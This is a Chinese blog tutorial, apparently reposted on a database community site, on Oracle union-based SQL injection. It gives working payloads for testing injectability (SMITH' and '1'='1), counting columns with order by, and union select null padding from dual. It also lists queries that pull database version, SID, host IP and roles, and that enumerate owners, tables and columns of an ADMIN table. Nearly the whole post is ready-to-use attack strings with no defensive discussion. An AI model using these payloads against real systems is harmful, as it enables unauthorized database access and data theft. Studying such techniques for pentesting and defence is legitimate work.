暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Oracle 联合注入

老徐今天也很棒 2021-06-28
1499

联合注入

注释符号

--   单行注释

/**/ 多行注释

判断是否存在注入

and 1=1 --

and 1=2 --

此处 username字段是字符串,所以需要 单引号进行闭合
username=SMITH' and '1'='1
username=SMITH' and '1'='2
复制

猜解列数

order by

username=SMITH' order by 8 --
复制

联合查询

oracle对列的类型比较严谨,所以要用 null 来匹配任意类型

Oracle中的dual表是一个单行单列的虚拟表

在Oracle中是实际存在的,任何用户都可以读取,所以可以用过这个dual表来显示列数。

username=SMITH' union select null,null,null,null,null,null,null,null from dual --
复制

Oracle查询信息

有些语句需要较高权限

1.当前用户权限  select * from session_roles  
2.当前数据库版本  select banner from sys.v_$version where rownum=1
3.服务器出口IP   utl_http.request可以实现
4.服务器监听IP  select utl_inaddr.get_host_address from dual
5.日志文件  select member from v$logfile where rownum=1
6.服务器sid  select instance_name from v$instance
7.当前连接用户  select sys_context('userenv','current_user') from dual
8.当前用户  select user from dual
复制

常见的查询语句

当前用户
select user from dual
列出所有用户
select username from all_users order by username
列出库
select distinct owner from all_tables
列出表
select table_name from all_tables
列出表的所有列
select column_name from user_tab_columns where table_name='库名'
定位文件
select name from v$datafile
复制

查库名

库名表名列名一定要是大写的

union select null,(select owner from all_tables where rownum=1),null,null,null,null,null,null from dual -- 

union select null,(select owner from all_tables where rownum=1 and owner <>'SYS'),null,null,null,null,null,null from dual --
复制

查表名

union select null,(select table_name from user_tables where rownum=1),null,null,null,null,null,null from dual --

union select null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null,null from dual --
复制

查列名

union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual -- 

union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --

union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'USERNAME' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --
复制


文章转载自老徐今天也很棒,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论